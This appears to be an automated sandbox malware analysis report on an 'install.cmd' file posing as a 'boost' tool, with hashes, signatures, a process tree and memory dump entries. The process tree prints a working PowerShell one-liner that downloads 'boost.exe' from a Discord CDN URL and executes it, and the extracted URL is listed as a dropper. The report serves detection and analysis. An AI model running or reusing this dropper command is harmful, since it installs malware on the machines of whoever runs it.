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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/06/2024, 15:45

General

  • Target

    tool-boost-funk-boost/install.cmd

  • Size

    1KB

  • MD5

    855d939ccba31eea9642590da637b185

  • SHA1

    c776222f87406ebaf15b8907808623e4f5624d0c

  • SHA256

    df728f23ff74320e4cf317c33470602f160132aecff1416692b403d3ab17062d

  • SHA512

    9dd853e8f1cba2ebc87ccee3ea391cc2517e842c94d201bb3232e6b16177feebb35daf078d41da5fc3fb2377d7246750dfc61c707cb9d160a4f9ebeba50c3936

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/1186759970017005689/1203466731985829998/boost.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tool-boost-funk-boost\install.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $down=New-Object System.Net.WebClient;$url='https://cdn.discordapp.com/attachments/1186759970017005689/1203466731985829998/boost.exe';$file='boost.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4332

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a2onylxc.dzb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4332-0-0x00007FFDB2F23000-0x00007FFDB2F25000-memory.dmp

    Filesize

    8KB

  • memory/4332-1-0x00000258BBCF0000-0x00000258BBD12000-memory.dmp

    Filesize

    136KB

  • memory/4332-11-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4332-12-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4332-13-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4332-14-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4332-17-0x00007FFDB2F20000-0x00007FFDB39E1000-memory.dmp

    Filesize

    10.8MB